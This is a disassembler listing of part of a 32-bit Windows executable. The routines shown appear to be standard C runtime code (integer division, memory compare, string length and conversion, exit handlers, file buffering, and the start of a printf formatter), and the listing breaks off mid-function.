; ---------------------------------------------------------------------------
loc_4197EE: ; CODE XREF: sub_4196EF+84j
; sub_4196EF+CFj
mov eax, edi
loc_4197F0: ; CODE XREF: sub_4196EF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4197E0
sub_4196EF endp
; =============== S U B R O U T I N E =======================================
sub_4197F9 proc near ; CODE XREF: sub_40D000+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
call near ptr 267029Bh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_419819
nop
call near ptr 2630313h
push eax
call sub_41EF44
pop ecx
loc_419815: ; CODE XREF: sub_4197F9+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419819: ; CODE XREF: sub_4197F9+Dj
test al, 1
jz short loc_41983A
test [esp+arg_4], 2
jz short loc_41983A
mov dword_48A014, 0Dh
mov dword_48A018, 5
jmp short loc_419815
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4197F9+22j
; sub_4197F9+29j
xor eax, eax
retn
sub_4197F9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp
; sub_40D12A+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_419861
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_419861: ; CODE XREF: sub_419840+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41987D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41987D: ; CODE XREF: sub_419840+27j
or eax, eax
jnz short loc_419899
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4198DA
; ---------------------------------------------------------------------------
loc_419899: ; CODE XREF: sub_419840+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4198A7: ; CODE XREF: sub_419840+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4198A7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4198D5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4198D5
jb short loc_4198D6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4198D6
loc_4198D5: ; CODE XREF: sub_419840+85j
; sub_419840+8Bj
dec esi
loc_4198D6: ; CODE XREF: sub_419840+8Dj
; sub_419840+93j
xor edx, edx
mov eax, esi
loc_4198DA: ; CODE XREF: sub_419840+57j
dec edi
jnz short loc_4198E4
neg edx
neg eax
sbb edx, 0
loc_4198E4: ; CODE XREF: sub_419840+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_419840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41993C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41993D
test eax, 1
jz short loc_41991D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41996A
inc esi
inc edi
dec eax
jz short loc_41993A
loc_41991D: ; CODE XREF: sub_4198F0+20j
; sub_4198F0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41996A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41996A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41991D
loc_41993A: ; CODE XREF: sub_4198F0+2Bj
; sub_4198F0+84j
pop edi
pop esi
locret_41993C: ; CODE XREF: sub_4198F0+6j
retn
; ---------------------------------------------------------------------------
loc_41993D: ; CODE XREF: sub_4198F0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_419972
repe cmpsd
jz short loc_419972
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_419965
cmp ch, dh
jnz short loc_419965
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_419965
cmp ch, dh
loc_419965: ; CODE XREF: sub_4198F0+63j
; sub_4198F0+67j ...
mov eax, 0
loc_41996A: ; CODE XREF: sub_4198F0+26j
; sub_4198F0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198F0+55j
; sub_4198F0+59j
test eax, eax
jz short loc_41993A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_419965
dec eax
jz short loc_419999
cmp dh, ch
jnz short loc_419965
dec eax
jz short loc_419999
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_419965
dec eax
loc_419999: ; CODE XREF: sub_4198F0+8Fj
; sub_4198F0+96j
pop edi
pop esi
retn
sub_4198F0 endp
; =============== S U B R O U T I N E =======================================
sub_41999C proc near ; CODE XREF: sub_40E5EB+55p
; sub_415F88+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4199B3
loc_4199A9: ; CODE XREF: sub_41999C+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4199A9
loc_4199B3: ; CODE XREF: sub_41999C+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41999C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p
; sub_40E5EB+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_419A86
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_419AB3
cmp dword_48A0A8, esi
jnz short loc_419A0A
cmp edi, esi
jbe loc_419AB3
loc_4199E9: ; CODE XREF: sub_4199B9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_419AB3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_4199E9
jmp loc_419AB3
; ---------------------------------------------------------------------------
loc_419A0A: ; CODE XREF: sub_4199B9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_424070
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_48A0B8
call esi
test eax, eax
jnz loc_419AB2
nop
call near ptr 2630313h
cmp eax, 7Ah
jz short loc_419A44
loc_419A35: ; CODE XREF: sub_4199B9+CBj
; sub_4199B9+F7j
mov dword_48A014, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_419AB3
; ---------------------------------------------------------------------------
loc_419A44: ; CODE XREF: sub_4199B9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_419A4C: ; CODE XREF: sub_4199B9+B3j
mov cl, [eax]
test cl, cl
jz short loc_419A6E
mov edx, off_4395A0
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_419A63
inc eax
loc_419A63: ; CODE XREF: sub_4199B9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_419A4C
loc_419A6E: ; CODE XREF: sub_4199B9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_48A0B8
call esi
test eax, eax
jnz short loc_419AB3
jmp short loc_419A35
; ---------------------------------------------------------------------------
loc_419A86: ; CODE XREF: sub_4199B9+Fj
cmp dword_48A0A8, esi
jnz short loc_419A99
push [ebp+arg_4]
call sub_417AB0
pop ecx
jmp short loc_419AB3
; ---------------------------------------------------------------------------
loc_419A99: ; CODE XREF: sub_4199B9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_48A0B8
call near ptr 2610000h
nop
cmp eax, esi
jz short loc_419A35
loc_419AB2: ; CODE XREF: sub_4199B9+6Bj
dec eax
loc_419AB3: ; CODE XREF: sub_4199B9+1Aj
; sub_4199B9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4199B9 endp
; ---------------------------------------------------------------------------
mov eax, off_43956C
test eax, eax
jz short loc_419AC3
call eax ; sub_417D73
loc_419AC3: ; CODE XREF: ___:00419ABFj
push offset dword_426028
push offset dword_426014
call sub_419BA0
push offset dword_426010
push offset dword_426000
call sub_419BA0
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_419B07
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp
; sub_41D4FC+3438p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_419B07
add esp, 0Ch
retn
sub_419AF6 endp
; =============== S U B R O U T I N E =======================================
sub_419B07 proc near ; CODE XREF: ___:00419AEDp
; sub_419AF6+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_48A05C, edi
jnz short loc_419B24
push [esp+4+arg_0]
nop
call near ptr 2760C3Fh
push eax
nop
call near ptr 27B0BD0h
loc_419B24: ; CODE XREF: sub_419B07+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_48A058, edi
mov byte_48A054, bl
jnz short loc_419B78
mov eax, dword_48B69C
test eax, eax
jz short loc_419B67
mov ecx, dword_48B698
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_419B66
loc_419B53: ; CODE XREF: sub_419B07+5Dj
mov eax, [esi]
test eax, eax
jz short loc_419B5B
call eax
loc_419B5B: ; CODE XREF: sub_419B07+50j
sub esi, 4
cmp esi, dword_48B69C
jnb short loc_419B53
loc_419B66: ; CODE XREF: sub_419B07+4Aj
pop esi
loc_419B67: ; CODE XREF: sub_419B07+3Cj
push offset dword_426034
push offset dword_42602C
call sub_419BA0
pop ecx
pop ecx
loc_419B78: ; CODE XREF: sub_419B07+33j
push offset dword_426040
push offset dword_426038
call sub_419BA0
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_419B9E
push [esp+4+arg_0]
mov dword_48A05C, edi
call near ptr 77E75CB5h
nop
loc_419B9E: ; CODE XREF: sub_419B07+85j
pop edi
retn
sub_419B07 endp
; =============== S U B R O U T I N E =======================================
sub_419BA0 proc near ; CODE XREF: ___:00419ACDp
; ___:00419ADCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_419BA5: ; CODE XREF: sub_419BA0+16j
cmp esi, [esp+4+arg_4]
jnb short loc_419BB8
mov eax, [esi]
test eax, eax
jz short loc_419BB3
call eax
loc_419BB3: ; CODE XREF: sub_419BA0+Fj
add esi, 4
jmp short loc_419BA5
; ---------------------------------------------------------------------------
loc_419BB8: ; CODE XREF: sub_419BA0+9j
pop esi
retn
sub_419BA0 endp
; =============== S U B R O U T I N E =======================================
sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 27A0C9Ch
test eax, eax
jnz short loc_419BD0
call near ptr 2630313h
nop
jmp short loc_419BD2
; ---------------------------------------------------------------------------
loc_419BD0: ; CODE XREF: sub_419BBA+Cj
xor eax, eax
loc_419BD2: ; CODE XREF: sub_419BBA+14j
test eax, eax
jz short loc_419BE1
push eax
call sub_41EF44
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419BE1: ; CODE XREF: sub_419BBA+1Aj
xor eax, eax
retn
sub_419BBA endp
; ---------------------------------------------------------------------------
dd 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 64111103h, 0A1h
dd 89645000h, 25h, 58EC8300h, 89575653h, 0D4E8E865h, 90023F7Dh
dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h
dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h
dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
dd 59000000h, 0E8FC7589h, 5967h, 7D58E890h, 8CA3023Fh
dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h
dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 0E850A445h, 23F6378h
dd 54A1E890h, 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h
dd 580A6A03h, 9C75FF50h, 0AEE85656h, 90022E6Eh, 49F7E850h
dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_419CDA proc near ; CODE XREF: sub_418682+16p
; ___:0041F1D5p ...
arg_0 = dword ptr 4
cmp dword_48A068, 1
jnz short loc_419CE8
call sub_41F84C
loc_419CE8: ; CODE XREF: sub_419CDA+7j
push [esp+arg_0]
call sub_41F885
push 0FFh
call off_439590
pop ecx
pop ecx
retn
sub_419CDA endp
; ---------------------------------------------------------------------------
db 83h
dd 48A0683Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h
dd 68590000h, 0FFh, 0BF93E890h
db 0A5h, 77h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D23 proc near ; CODE XREF: sub_4172B0+46p
; sub_41782A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_419E2C
test al, 40h
jnz loc_419E2C
test al, 1
jz short loc_419D5B
and dword ptr [esi+4], 0
test al, 10h
jz loc_419E2C
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_419D5B: ; CODE XREF: sub_419D23+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_419D95
cmp esi, offset dword_43BCD8
jz short loc_419D83
cmp esi, offset dword_43BCF8
jnz short loc_419D8E
loc_419D83: ; CODE XREF: sub_419D23+56j
push ebx
call sub_41FA1C
test eax, eax
pop ecx
jnz short loc_419D95
loc_419D8E: ; CODE XREF: sub_419D23+5Ej
push esi
call sub_41F9D8
pop ecx
loc_419D95: ; CODE XREF: sub_419D23+4Ej
; sub_419D23+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_419E02
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_419DC5
push edi
push eax
push ebx
call sub_41ED97
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_419DF8
; ---------------------------------------------------------------------------
loc_419DC5: ; CODE XREF: sub_419D23+90j
cmp ebx, 0FFFFFFFFh
jz short loc_419DE0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_48B340[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_419DE5
; ---------------------------------------------------------------------------
loc_419DE0: ; CODE XREF: sub_419D23+A5j
mov eax, offset dword_43BC20
loc_419DE5: ; CODE XREF: sub_419D23+BBj
test byte ptr [eax+4], 20h
jz short loc_419DF8
push 2
push 0
push ebx
call sub_41E517
add esp, 0Ch
loc_419DF8: ; CODE XREF: sub_419D23+A0j
; sub_419D23+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_419E16
; ---------------------------------------------------------------------------
loc_419E02: ; CODE XREF: sub_419D23+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41ED97
add esp, 0Ch
mov [ebp+arg_4], eax
loc_419E16: ; CODE XREF: sub_419D23+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_419E22
or dword ptr [esi+0Ch], 20h
jmp short loc_419E31
; ---------------------------------------------------------------------------
loc_419E22: ; CODE XREF: sub_419D23+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_419E34
; ---------------------------------------------------------------------------
loc_419E2C: ; CODE XREF: sub_419D23+10j
; sub_419D23+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_419E31: ; CODE XREF: sub_419D23+FDj
or eax, 0FFFFFFFFh
loc_419E34: ; CODE XREF: sub_419D23+107j
pop esi
pop ebx
pop ebp
retn
sub_419D23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; CODE XREF: sub_4172B0+29p
; sub_41782A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41A551
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_419E6C
; ---------------------------------------------------------------------------
loc_419E64: ; CODE XREF: sub_419E38+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_419E6C: ; CODE XREF: sub_419E38+2Aj
cmp [ebp+var_14], edx
jl loc_41A551
cmp bl, 20h
jl short loc_419E8D
cmp bl, 78h
jg short loc_419E8D
movsx eax, bl
mov al, [eax+42469Ch]
and eax, 0Fh
jmp short loc_419E8F
; ---------------------------------------------------------------------------
loc_419E8D: ; CODE XREF: sub_419E38+40j
; sub_419E38+45j
xor eax, eax
loc_419E8F: ; CODE XREF: sub_419E38+53j
movsx eax, byte_4246BC[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41A540 ; default
jmp off_41A559[eax*4] ; switch jump
loc_419EAD: ; DATA XREF: ___:off_41A559o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EC8: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
movsx eax, bl ; jumptable 00419EA6 case 2
sub eax, 20h
jz short loc_419F0B
sub eax, 3
jz short loc_419F02
sub eax, 8
jz short loc_419EF9
dec eax
dec eax
jz short loc_419EF0
sub eax, 3
jnz loc_41A540 ; default
or [ebp+var_4], 8
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EF0: ; CODE XREF: sub_419E38+A4j
or [ebp+var_4], 4
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EF9: ; CODE XREF: sub_419E38+A0j
or [ebp+var_4], 1
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F02: ; CODE XREF: sub_419E38+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F0B: ; CODE XREF: sub_419E38+96j
or [ebp+var_4], 2
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F14: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 2Ah ; jumptable 00419EA6 case 3
jnz short loc_419F3C
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41A540 ; default
or [ebp+var_4], 4
neg eax
loc_419F34: ; CODE XREF: sub_419E38+111j
mov [ebp+var_20], eax
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F3C: ; CODE XREF: sub_419E38+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_419F34
; ---------------------------------------------------------------------------
loc_419F4B: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
mov [ebp+var_10], edx ; jumptable 00419EA6 case 4
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F53: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 2Ah ; jumptable 00419EA6 case 5
jnz short loc_419F76
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41A540 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F76: ; CODE XREF: sub_419E38+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F88: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 49h ; jumptable 00419EA6 case 6
jz short loc_419FBB
cmp bl, 68h
jz short loc_419FB2
cmp bl, 6Ch
jz short loc_419FA9
cmp bl, 77h
jnz loc_41A540 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FA9: ; CODE XREF: sub_419E38+15Dj
or [ebp+var_4], 10h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FB2: ; CODE XREF: sub_419E38+158j
or [ebp+var_4], 20h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FBB: ; CODE XREF: sub_419E38+153j
cmp byte ptr [edi], 36h
jnz short loc_419FD4
cmp byte ptr [edi+1], 34h
jnz short loc_419FD4
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FD4: ; CODE XREF: sub_419E38+186j
; sub_419E38+18Cj
mov [ebp+var_30], edx
loc_419FD7: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
mov ecx, off_4395A0 ; jumptable 00419EA6 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41A003
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A579
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41A003: ; CODE XREF: sub_419E38+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A579
add esp, 0Ch
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_41A01B: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
movsx eax, bl ; jumptable 00419EA6 case 7
cmp eax, 67h
jg loc_41A243
cmp eax, 65h
jge loc_41A0C6
cmp eax, 58h
jg loc_41A124
jz loc_41A2B7
sub eax, 43h
jz loc_41A0E7
dec eax
dec eax
jz short loc_41A0BC
dec eax
dec eax
jz short loc_41A0BC
sub eax, 0Ch
jnz loc_41A442
test word ptr [ebp+var_4], 830h
jnz short loc_41A065
or byte ptr [ebp+var_4+1], 8
loc_41A065: ; CODE XREF: sub_419E38+227j
; sub_419E38+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41A072
mov esi, 7FFFFFFFh
loc_41A072: ; CODE XREF: sub_419E38+233j
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41A28B
test ecx, ecx
jnz short loc_41A09A
mov ecx, off_43959C
mov [ebp+var_8], ecx
loc_41A09A: ; CODE XREF: sub_419E38+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41A0A3: ; CODE XREF: sub_419E38+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41A282
cmp word ptr [eax], 0
jz loc_41A282
inc eax
inc eax
jmp short loc_41A0A3
; ---------------------------------------------------------------------------
loc_41A0BC: ; CODE XREF: sub_419E38+212j
; sub_419E38+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41A0C6: ; CODE XREF: sub_419E38+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41A1AA
mov [ebp+var_10], 6
jmp loc_41A1B8
; ---------------------------------------------------------------------------
loc_41A0E7: ; CODE XREF: sub_419E38+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41A0F3
or byte ptr [ebp+var_4+1], 8
loc_41A0F3: ; CODE XREF: sub_419E38+2B5j
; sub_419E38+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A13A
call sub_41A634
push eax
lea eax, [ebp+var_248]
push eax
call sub_41FAFB
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41A14D
mov [ebp+var_28], 1
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A124: ; CODE XREF: sub_419E38+1FBj
sub eax, 5Ah
jz short loc_41A15B
sub eax, 9
jz short loc_41A0F3
dec eax
jz loc_41A31D
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A13A: ; CODE XREF: sub_419E38+2C5j
call sub_41A617
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41A14D: ; CODE XREF: sub_419E38+2E1j
; sub_419E38+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A15B: ; CODE XREF: sub_419E38+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
jz short loc_41A19C
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41A19C
test byte ptr [ebp+var_4+1], 8
jz short loc_41A18D
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A18D: ; CODE XREF: sub_419E38+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A19C: ; CODE XREF: sub_419E38+32Fj
; sub_419E38+336j
mov eax, off_439598
mov [ebp+var_8], eax
push eax
jmp loc_41A238
; ---------------------------------------------------------------------------
loc_41A1AA: ; CODE XREF: sub_419E38+29Dj
jnz short loc_41A1B8
cmp bl, 67h
jnz short loc_41A1B8
mov [ebp+var_10], 1
loc_41A1B8: ; CODE XREF: sub_419E38+2AAj
; sub_419E38:loc_41A1AAj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43B900
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41A20A
cmp [ebp+var_10], 0
jnz short loc_41A20A
lea eax, [ebp+var_248]
push eax
call off_43B90C
pop ecx
loc_41A20A: ; CODE XREF: sub_419E38+3BCj
; sub_419E38+3C2j
cmp bl, 67h
jnz short loc_41A221
test esi, esi
jnz short loc_41A221
lea eax, [ebp+var_248]
push eax
call off_43B904
pop ecx
loc_41A221: ; CODE XREF: sub_419E38+3D5j
; sub_419E38+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41A237
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41A237: ; CODE XREF: sub_419E38+3F0j
push edi
loc_41A238: ; CODE XREF: sub_419E38+36Dj
call sub_417AB0
pop ecx
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A243: ; CODE XREF: sub_419E38+1E9j
sub eax, 69h
jz loc_41A31D
sub eax, 5
jz loc_41A2F3
dec eax
jz loc_41A2E0
dec eax
jz short loc_41A2B0
sub eax, 3
jz loc_41A065
dec eax
dec eax
